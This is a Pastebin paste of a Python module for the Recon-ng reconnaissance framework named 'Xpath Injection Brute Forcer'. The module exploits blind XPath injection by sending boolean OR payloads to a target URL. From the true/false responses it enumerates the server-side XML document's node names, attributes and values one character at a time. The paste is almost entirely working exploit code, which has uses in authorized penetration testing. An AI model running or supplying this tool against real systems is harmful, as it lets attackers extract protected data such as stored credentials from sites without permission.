Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from __future__ import print_function
- from recon.core.module import BaseModule
- import urllib
- import sys
- class Module(BaseModule):
- meta = {
- 'name': 'Xpath Injection Brute Forcer',
- 'author': 'Tim Tomes (@LaNMaSteR53), modified by DSavitski',
- 'description': 'Exploits XPath injection flaws to enumerate the contents of serverside XML documents using OR based statements.',
- 'options': (
- ('base_url', None, True, 'target resource url excluding any parameters'),
- ('basic_user', None, False, 'username for basic authentication'),
- ('basic_pass', None, False, 'password for basic authentication'),
- ('cookie', None, False, 'cookie string containing authenticated session data'),
- ('parameters', None, True, 'query parameters with \'<inject>\' signifying the injection'),
- ('post', False, True, 'set the request method to post. parameters should still be submitted in the url option'),
- ('string', None, True, 'unique string found when the injection results in \'True\''),
- ),
- }
- def getRequest(self, strTest):
- payload = {}
- for param in self.lstParams:
- payload[param[0]] = param[1].replace('<inject>', strTest)
- # send the request
- resp = self.request(self.strUrl, method=self.strMethod, payload=payload, headers=self.dictHeaders, auth=self.tupAuth)
- # process the response
- self.intCount += 1
- if self.strSearch in resp.text:
- return True
- else:
- return False
- def getLength(self, strTest):
- intLength = 0
- for x in range(0,10000):
- if self.getRequest(strTest % (x)):
- return x
- def getString(self, intLength, strTest):
- strResult = ''
- for x in range(1,intLength+1):
- found = False
- for char in self.strCharset:
- if self.getRequest(strTest % (x, char)):
- strResult += char
- print(char, end='')
- found = True
- break
- if not found:
- strResult += '?'
- print('?', end='')
- return strResult
- def checkItem(self, strItem, lstItems):
- for item in getattr(self, lstItems):
- if self.getRequest("' or name(%s)='%s" % (strItem, item)):
- return item
- def getAttribs(self, node):
- intAttribs = self.getLength("' or count(%s/@*)=%%d and '1'='1" % (node))
- for x in range(1,intAttribs+1):
- strAttrib = '%s/@*[%d]' % (node, x)
- print(' ', end='')
- # check if attrib matches previously enumerated attrib
- name = self.checkItem(strAttrib, 'attribs')
- if name:
- print(name, end='')
- else:
- # length of attrib name
- intNamelen = self.getLength("' or string-length(name(%s))=%%d and '1'='1" % (strAttrib))
- # attrib name
- name = self.getString(intNamelen, "' or substring(name(%s),%%d,1)='%%s' and '1'='1" % (strAttrib))
- self.attribs.append(name)
- # length of attrib value
- intValuelen = self.getLength("' or string-length(%s)=%%d and '1'='1" % (strAttrib))
- # attrib value
- print('="', end='')
- value = self.getString(intValuelen, "' or substring(%s,%%d,1)='%%s' and '1'='1" % (strAttrib))
- print('"', end='')
- def getXML(self, node='', name='', level=0):
- spacer = ' '*level
- intNodes = self.getLength("' or count(%s/*)=%%d and '1'='1" % (node))
- if not intNodes:
- # check for value
- intValuelen = self.getLength("' or string-length(%s)=%%d and '1'='1" % (node))
- if intValuelen:
- print('>', end='')
- value = self.getString(intValuelen, "' or substring(%s,%%d,1)='%%s' and '1'='1" % (node))
- print('</%s>' % (name))
- else:
- print('/>')
- return True
- if level != 0: print('>')
- for x in range(1,intNodes+1):
- strNode = '%s/*[%d]' % (node, x)
- print('%s<' % (spacer), end='')
- # check if node matches previously enumerated node
- name = self.checkItem(strNode, 'nodes')
- if name:
- print(name, end='')
- else:
- # length of node name
- intNamelen = self.getLength("' or string-length(name(%s))=%%d and '1'='1" % (strNode))
- # node name
- name = self.getString(intNamelen, "' or substring(name(%s),%%d,1)='%%s' and '1'='1" % (strNode))
- self.nodes.append(name)
- self.getAttribs(strNode)
- if not self.getXML(strNode, name, level + 1):
- print('%s</%s>' % (spacer, name))
- def module_run(self):
- self.strSearch = self.options['string']
- self.strUrl = self.options['base_url']
- #self.strCharset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
- self.strCharset = 'aeorisn1tl2md0cp3hbuk45g9687yfwjvzxqASERBTMLNPOIDCHGKFJUW.!Y*@V-ZQX_$#,/+?;^ %~=&`\)][:<(>"|{\'}'
- self.intCount = 0
- self.nodes = []
- self.attribs = []
- strTrue = "' or '1'='1"
- strFalse = "' or '1'='2"
- # process parameters
- params = self.options['parameters']
- params = params.split('&')
- params = [param.split('=') for param in params]
- self.lstParams = [(urllib.unquote_plus(param[0]), urllib.unquote_plus(param[1])) for param in params]
- # process basic authentication
- username = self.options['basic_user']
- password = self.options['basic_pass']
- self.tupAuth = (username, password) if username and password else ()
- # process cookie authentication
- cookie = self.options['cookie']
- self.dictHeaders = {'Cookie': cookie} if cookie else {}
- # set the request method
- self.strMethod = 'POST' if self.options['post'] else 'GET'
- self.verbose("'True' injection payload: =>%s<=" % (strTrue))
- if self.getRequest(strTrue):
- self.alert("'True' injection test passed.")
- else:
- self.error("'True' injection test failed.")
- return
- self.verbose("'False' injection payload: =>%s<=" % (strFalse))
- if not self.getRequest(strFalse):
- self.alert("'False' injection test passed.")
- else:
- self.error("'False' injection test failed.")
- return
- self.output('Fetching XML...')
- self.getXML()
- self.output('%d total queries made.' % (self.intCount))
Add Comment
Please, Sign In to add comment